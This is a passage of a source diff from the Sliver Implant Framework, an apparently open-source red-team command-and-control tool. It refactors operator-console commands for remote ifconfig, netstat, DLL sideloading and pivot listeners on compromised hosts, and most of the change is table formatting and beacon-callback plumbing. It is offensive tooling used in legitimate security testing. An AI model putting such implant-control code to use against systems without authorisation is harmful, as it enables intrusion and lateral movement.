-			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(extArgs, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        extArgs,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-			IsDLL:       isDLL,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	}
-}
-
-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
-		}
-	}
-	return false
-}
-
-func init() {
-	commandMap = make(map[string]macro)
-}

client/command/network/ifconfig.go

@@ -20,37 +20,74 @@ package network
 
 import (
 	"context"
+	"fmt"
+	"sort"
 	"strconv"
 	"strings"
 
-	"github.com/desertbit/grumble"
-
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"google.golang.org/protobuf/proto"
 )
 
 // IfconfigCmd - Display network interfaces on the remote system
 func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-
 	ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	all := ctx.Flags.Bool("all")
+	if ifconfig.Response != nil && ifconfig.Response.Async {
+		con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, ifconfig)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintIfconfig(ifconfig, all, con)
+		})
+		con.PrintAsyncResponse(ifconfig.Response)
+	} else {
+		PrintIfconfig(ifconfig, all, con)
+	}
+}
 
-	for ifaceIndex, iface := range ifconfig.NetInterfaces {
-		con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
+// PrintIfconfig - Print the ifconfig response
+func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
+	var err error
+	interfaces := ifconfig.NetInterfaces
+	sort.Slice(interfaces, func(i, j int) bool {
+		return interfaces[i].Index < interfaces[j].Index
+	})
+	hidden := 0
+	for index, iface := range interfaces {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableWithBordersStyle(con))
+		tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
+		tw.SetColumnConfigs([]table.ColumnConfig{
+			{Name: "#", AutoMerge: true},
+			{Name: "IP Address", AutoMerge: true},
+			{Name: "MAC Address", AutoMerge: true},
+		})
+		rowConfig := table.RowConfig{AutoMerge: true}
+		tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
+		macAddress := ""
 		if 0 < len(iface.MAC) {
-			con.Printf("   MAC Address: %s\n", iface.MAC)
+			macAddress = iface.MAC
 		}
+		ips := []string{}
 		for _, ip := range iface.IPAddresses {
-
 			// Try to find local IPs and colorize them
 			subnet := -1
 			if strings.Contains(ip, "/") {
@@ -61,15 +98,30 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 					subnet = -1
 				}
 			}
-
 			if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
-				con.Printf(console.Bold+console.Green+"    IP Address: %s%s\n", ip, console.Normal)
-			} else if 32 < subnet && !isLoopback(ip) {
-				con.Printf(console.Bold+console.Cyan+"    IP Address: %s%s\n", ip, console.Normal)
-			} else {
-				con.Printf("    IP Address: %s\n", ip)
+				ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
+			} else if all {
+				ips = append(ips, fmt.Sprintf("%s", ip))
 			}
 		}
+		if !all && len(ips) < 1 {
+			hidden++
+			continue
+		}
+		if 0 < len(ips) {
+			for _, ip := range ips {
+				tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
+			}
+		} else {
+			tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
+		}
+		con.Printf("%s\n", tw.Render())
+		if index+1 < len(interfaces) {
+			con.Println()
+		}
+	}
+	if !all {
+		con.Printf("%d adapters not shown.\n", hidden)
 	}
 }
 

client/command/network/netstat.go

@@ -22,17 +22,20 @@ import (
 	"context"
 	"fmt"
 	"net"
-	"strings"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"google.golang.org/protobuf/proto"
 )
 
 // NetstatCmd - Display active network connections on the remote system
 func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -42,8 +45,11 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tcp := ctx.Flags.Bool("tcp")
 	udp := ctx.Flags.Bool("udp")
 
+	implantPID := getPID(session, beacon)
+	activeC2 := getActiveC2(session, beacon)
+
 	netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		TCP:       tcp,
 		UDP:       udp,
 		Listening: listening,
@@ -54,10 +60,22 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	displayEntries(netstat.Entries, con)
+	if netstat.Response != nil && netstat.Response.Async {
+		con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, netstat)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintNetstat(netstat, implantPID, activeC2, con)
+		})
+		con.PrintAsyncResponse(netstat.Response)
+	} else {
+		PrintNetstat(netstat, implantPID, activeC2, con)
+	}
 }
 
-func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
+func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
 	lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
 		const IPv4Strlen = 17
 		addr := skaddr.Ip
@@ -71,30 +89,48 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
 		return fmt.Sprintf("%s:%d", addr, skaddr.Port)
 	}
 
-	con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
-	session := con.ActiveSession.GetInteractive()
-	for _, e := range entries {
-		p := ""
-		if e.Process != nil {
-			p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
+
+	for _, entry := range netstat.Entries {
+		pid := ""
+		if entry.Process != nil {
+			pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
 		}
-		srcAddr := lookup(e.LocalAddr)
-		dstAddr := lookup(e.RemoteAddr)
-		if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
-			con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
-				console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
+		srcAddr := lookup(entry.LocalAddr)
+		dstAddr := lookup(entry.RemoteAddr)
+		if entry.Process != nil && entry.Process.Pid == implantPID {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
+				fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
+				fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
+				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
+				fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
+			})
 		} else {
-			con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
-				e.Protocol, srcAddr, dstAddr, e.SkState, p)
+			tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
 		}
 	}
+	con.Printf("%s\n", tw.Render())
 }
 
-func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
-	parts := strings.Split(dstAddr, ":")
-	if len(parts) != 3 {
-		return false
+func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.ActiveC2
 	}
-	c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
-	return strings.Join(parts[:2], ":") == c2Addr
+	if beacon != nil {
+		return beacon.ActiveC2
+	}
+	return ""
+}
+
+func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
+	if session != nil {
+		return session.PID
+	}
+	if beacon != nil {
+		return beacon.PID
+	}
+	return -1
 }

client/command/operators/operators.go

@@ -19,17 +19,15 @@ package operators
 */
 
 import (
-	"bytes"
 	"context"
-	"fmt"
-	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // OperatorsCmd - Display operators and current online status
@@ -45,46 +43,24 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	fmt.Fprintln(table, "Operator\tStatus\t")
-	fmt.Fprintf(table, "%s\t%s\t\n",
-		strings.Repeat("=", len("Operator")),
-		strings.Repeat("=", len("Status")),
-	)
-
-	colorRow := []string{"", ""} // Two uncolored rows for the headers
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Status",
+	})
 	for _, operator := range operators {
-		// This is the CA, but I guess you could also name an operator
-		// "multiplayer" and it'll never show up in the list
-		if operator.Name == "multiplayer" {
-			continue
-		}
-		fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
-		if operator.Online {
-			colorRow = append(colorRow, console.Bold+console.Green)
-		} else {
-			colorRow = append(colorRow, "")
-		}
-
-	}
-	table.Flush()
-
-	lines := strings.Split(outputBuf.String(), "\n")
-	for lineNumber, line := range lines {
-		if len(line) == 0 {
-			continue
-		}
-		con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
+		tw.AppendRow(table.Row{
+			console.Bold + operator.Name + console.Normal,
+			status(operator.Online),
+		})
 	}
+	con.Printf("%s\n", tw.Render())
 }
 
 func status(isOnline bool) string {
 	if isOnline {
-		return "Online"
+		return console.Bold + console.Green + "Online" + console.Normal
 	}
-	return "Offline"
+	return console.Bold + console.Red + "Offline" + console.Normal
 }

client/command/pivots/details.go

@@ -0,0 +1,96 @@
+package pivots
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// PivotDetailsCmd - Display pivots for all sessions
+func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", pivotListeners.Response.Err)
+		return
+	}
+
+	id := uint32(ctx.Flags.Int("id"))
+	if id == uint32(0) {
+		selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		id = selectedListener.ID
+	}
+
+	found := false
+	for _, listener := range pivotListeners.Listeners {
+		if listener.ID == id {
+			PrintPivotListenerDetails(listener, con)
+			found = true
+		}
+	}
+	if !found {
+		con.PrintErrorf("No pivot listener with id %d\n", id)
+	}
+}
+
+// PrintPivotListenerDetails - Print details of a single pivot listener
+func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
+	con.Printf("\n")
+	con.Printf("               ID: %d\n", listener.ID)
+	con.Printf("         Protocol: %s\n", PivotTypeToString(listener.Type))
+	con.Printf("     Bind Address: %s\n", listener.BindAddress)
+	con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
+	con.Printf("\n")
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
+	tw.AppendSeparator()
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Remote Address",
+	})
+	for _, pivot := range listener.Pivots {
+		tw.AppendRow(table.Row{
+			pivot.ID,
+			pivot.RemoteAddress,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/pivots/helpers.go

@@ -0,0 +1,64 @@
+package pivots
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// SelectPivotListener - Interactive menu to select a pivot listener
+func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
+
+	// Render selection table
+	buf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+	for _, listener := range listeners {
+		fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
+	}
+	table.Flush()
+	options := strings.Split(buf.String(), "\n")
+	options = options[:len(options)-1]
+	if len(options) == 0 {
+		return nil, errors.New("no task to select from")
+	}
+
+	selected := ""
+	prompt := &survey.Select{
+		Message: "Select a beacon task:",
+		Options: options,
+	}
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		return nil, err
+	}
+	for index, value := range options {
+		if value == selected {
+			return listeners[index], nil
+		}
+	}
+	return nil, errors.New("task not found")
+}

client/command/pivots/named-pipe.go

@@ -1,40 +0,0 @@
-package pivots
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
-func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-	if session.OS != "windows" {
-		con.PrintErrorf("Not implemented for %s\n", session.OS)
-		return
-	}
-
-	pipeName := ctx.Flags.String("name")
-
-	if pipeName == "" {
-		con.PrintErrorf("-n parameter missing\n")
-		return
-	}
-
-	_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
-		PipeName: pipeName,
-		Request:  con.ActiveSession.Request(ctx),
-	})
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
-}

client/command/pivots/pivots.go

@@ -19,84 +19,71 @@ package pivots
 */
 
 import (
-	"bytes"
 	"context"
-	"fmt"
-	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/jedib0t/go-pretty/v6/table"
 
 	"github.com/desertbit/grumble"
 )
 
 // PivotsCmd - Display pivots for all sessions
 func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	timeout := ctx.Flags.Int("timeout")
-	sessionID := ctx.Flags.String("id")
-	if sessionID != "" {
-		session := con.GetSession(sessionID)
-		if session == nil {
-			return
-		}
-		printPivots(session, int64(timeout), con)
-	} else {
-		session := con.ActiveSession.Get()
-		if session != nil {
-			printPivots(session, int64(timeout), con)
-		} else {
-			sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			for _, session := range sessions.Sessions {
-				printPivots(session, int64(timeout), con)
-			}
-		}
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
 	}
-}
-
-func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
-	pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
-		Request: &commonpb.Request{
-			SessionID: session.ID,
-			Timeout:   timeout,
-			Async:     false,
-		},
+	pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	if pivotList.Response != nil && pivotList.Response.Err != "" {
-		con.PrintErrorf("%s\n", pivotList.Response.Err)
+	if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", pivotListeners.Response.Err)
 		return
 	}
 
-	if len(pivotList.Entries) > 0 {
-		con.PrintInfof("Session %d\n", session.ID)
-		outputBuf := bytes.NewBufferString("")
-		table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-		fmt.Fprintf(table, "type\taddress\t\n")
-		fmt.Fprintf(table, "%s\t%s\t\n",
-			strings.Repeat("=", len("type")),
-			strings.Repeat("=", len("address")),
-		)
-
-		for _, entry := range pivotList.Entries {
-			fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
-		}
-		table.Flush()
-		con.Printf(outputBuf.String())
+	if len(pivotListeners.Listeners) == 0 {
+		con.PrintInfof("No pivot listeners running on this session\n")
 	} else {
-		con.PrintInfof("No pivots found for session %d\n", session.ID)
+		PrintPivotListeners(pivotListeners.Listeners, con)
 	}
+}
 
+// PrintPivotListeners - Print a table of pivot listeners
+func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Protocol",
+		"Bind Address",
+		"Number of Pivots",
+	})
+	for _, listener := range pivotListeners {
+		tw.AppendRow(table.Row{
+			listener.ID,
+			PivotTypeToString(listener.Type),
+			listener.BindAddress,
+			len(listener.Pivots),
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+// PivotTypeToString - Convert a pivot type to a human string
+func PivotTypeToString(pivotType sliverpb.PivotType) string {
+	switch pivotType {
+	case sliverpb.PivotType_TCP:
+		return "TCP"
+	case sliverpb.PivotType_UDP:
+		return "UDP"
+	case sliverpb.PivotType_NamedPipe:
+		return "Named Pipe"
+	}
+	return "Unknown"
 }

client/command/pivots/start.go

@@ -0,0 +1,74 @@
+package pivots
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
+func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	bind := ctx.Flags.String("bind")
+	lport := uint16(ctx.Flags.Int("lport"))
+	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
+		Type:        sliverpb.PivotType_TCP,
+		BindAddress: fmt.Sprintf("%s:%d", bind, lport),
+		Request:     con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if listener.Response != nil && listener.Response.Err != "" {
+		con.PrintErrorf("%s\n", listener.Response.Err)
+		return
+	}
+	con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
+}
+
+// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
+func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
+		Type:        sliverpb.PivotType_NamedPipe,
+		BindAddress: ctx.Flags.String("bind"),
+		Request:     con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if listener.Response != nil && listener.Response.Err != "" {
+		con.PrintErrorf("%s\n", listener.Response.Err)
+		return
+	}
+	con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
+}

client/command/pivots/stop.go

@@ -0,0 +1,64 @@
+package pivots
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
+func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	id := uint32(ctx.Flags.Int("id"))
+	if id == uint32(0) {
+		pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if len(pivotListeners.Listeners) == 0 {
+			con.PrintInfof("No pivot listeners running on this session\n")
+			return
+		}
+		selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		id = selectedListener.ID
+	}
+	_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
+		ID:      id,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Stopped pivot listener\n")
+}

client/command/pivots/tcp.go

@@ -1,34 +0,0 @@
-package pivots
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// TCPListenerCmd - Start a TCP pivot listener on the remote system
-func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	server := ctx.Flags.String("server")
-	lport := uint16(ctx.Flags.Int("lport"))
-	address := fmt.Sprintf("%s:%d", server, lport)
-
-	_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
-		Address: address,
-		Request: con.ActiveSession.Request(ctx),
-	})
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	con.PrintInfof("Listening on tcp://%s", address)
-}